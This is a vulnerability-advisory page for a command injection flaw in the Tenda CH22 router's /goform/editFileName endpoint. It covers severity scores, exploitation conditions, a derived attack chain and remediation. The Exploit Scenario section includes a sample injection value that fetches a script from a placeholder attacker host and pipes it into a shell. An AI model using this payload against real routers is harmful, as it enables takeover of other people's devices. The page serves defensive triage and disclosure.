Skip to main content

Tenda CH22 CVE-2026-78063

| EUVDEUVD-2026-64632 LOW
Command Injection (CWE-77)
2026-08-23 VulDB GHSA-x5qw-fmv8-fhx9
2.1
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain low-privilege web UI credentials
  2. Delivery
    Send crafted HTTP request to /goform/editFileName
  3. Exploit
    Inject shell metacharacters in editNameMit parameter
  4. Execution
    Bypass absent input sanitization
  5. Persist
    Execute arbitrary OS commands as firmware process user
  6. Impact
    Establish persistent access or pivot through compromised router

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires low-privilege authenticated access to the Tenda CH22 web management interface, as indicated by PR:L in the CVSS 4.0 vector. The attacker must be able to reach the /goform/editFileName endpoint over the network (AV:N). If the device's management interface is accessible from the WAN - either by default or through misconfiguration - remote exploitation from the internet is feasible. No special attack requirements (AT:N) and low complexity (AC:L) mean no unusual configuration or race condition is needed beyond having valid credentials. Exploitation is bounded by: the authentication prerequisite (PR:L) requiring valid credentials; and typical SOHO router defaults where the management interface is LAN-bound, limiting exposure to network-adjacent attackers unless WAN management is explicitly enabled.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N) indicates low exploitation complexity, no special attack requirements, and network reachability - all factors that lower the barrier to exploitation. The E:P (Proof-of-Concept) modifier confirms public exploit code exists. The impact metrics in the provided CVSS 4.0 score (VC:L/VI:L/VA:L) appear conservative for a command injection flaw, which in practice typically grants arbitrary OS-level command execution on the device - likely yielding full control of the router. This discrepancy warrants independent assessment: real-world impact is likely higher than the vendor-assigned score reflects. No CISA KEV listing at time of analysis, meaning active exploitation has not been officially confirmed, but the public PoC makes opportunistic targeting feasible. The primary limiting factor is the PR:L requirement, meaning an attacker must first obtain credentials to the web management interface.

Exploit ScenarioDerived

An attacker who has obtained low-privilege credentials to the Tenda CH22 web management interface - via default credentials, credential stuffing, or prior phishing - sends a crafted HTTP request to /goform/editFileName with the editNameMit parameter containing shell metacharacters (e.g., ; id ; curl attacker.com/shell.sh | sh). The firmware passes this unsanitized value directly into a system command, executing the injected payload as the process's runtime user - likely root on embedded Linux-based router firmware. A public proof-of-concept documenting this technique is available at the Notion link referenced in the advisory.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 2.7% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 23, 2026

Command injection in Tenda CH22 version 1.0.0.1 allows a remote low-privileged attacker to execute arbitrary OS commands by manipulating the editNameMit parameter within the formeditFileName function at the /goform/editFileName web management endpoint. A public proof-of-concept exploit has been released, confirmed by the CVSS 4.0 E:P modifier and a linked Notion-hosted exploit writeup. No CISA KEV listing at time of analysis, but the public PoC significantly lowers the skill bar for exploitation against any CH22 device with an exposed or accessible management interface.

RemediationAI

No vendor-released patch has been identified at time of analysis. Tenda's website (https://www.tenda.com.cn/) should be monitored for firmware updates addressing CVE-2026-78063. As an immediate compensating control, restrict access to the CH22 web management interface to trusted LAN hosts only by disabling WAN-side management access - this eliminates the remote attack surface while retaining local administrative access, with no functional trade-off for most home/small-office deployments. Additionally, change all default credentials to strong, unique passwords to raise the bar for the PR:L authentication requirement. Network segmentation placing the management interface on a dedicated VLAN inaccessible to untrusted hosts further reduces exposure. Do not expose the router's management port to the internet. For enterprise environments running this device, consider replacement with a supported device that receives active firmware patches.

Affected VersionsENISA

CH22 1.0.0.1

Affected Packages

euvd ch22 no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The Tenda CH22 is a SOHO router whose firmware exposes a web-based management interface via CGI-style /goform/ endpoints. The vulnerable function formeditFileName handles filename editing operations, accepting user input via the editNameMit argument and passing it unsanitized to an underlying system shell call. CWE-77 (Improper Neutralization of Special Elements used in a Command) describes this root cause: the application constructs an OS command string using attacker-controlled data without stripping or escaping shell metacharacters such as ;, |, or $(...). The CPE cpe:2.3:a:tenda:ch22:*:*:*:*:*:*:*:* uses a wildcard version field, indicating all known CH22 firmware versions may share this code path, though only version 1.0.0.1 is explicitly confirmed in the vulnerability report.

Know when Ch22 gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 2.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P
vuln.today AI 8.8 HIGH

Network-accessible web endpoint requires only low-privilege auth; command injection yields full OS shell execution, warranting C:H/I:H/A:H.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
Low

Lifecycle Timeline

3
Severity Changed
Aug 23, 2026 - 05:22 NVD
MEDIUM LOW
CVSS changed
Aug 23, 2026 - 05:22 NVD
5.3 (MEDIUM) 2.1 (LOW)
CVE Published
Aug 23, 2026 - 04:30 cve.org
MEDIUM 5.3

DescriptionCVE.org

A security flaw has been discovered in Tenda CH22 1.0.0.1. The impacted element is the function formeditFileName of the file /goform/editFileName. The manipulation of the argument editNameMit results in command injection. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks.

Threat Intelligence Overview

EPSS Score
2.7%
Top 15% exploitable
Prevalence
Low
SOHO consumer router, minimal enterprise deployment footprint
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 2.7%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

33
Low Medium High Critical
KEV: 0
EPSS: +3
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy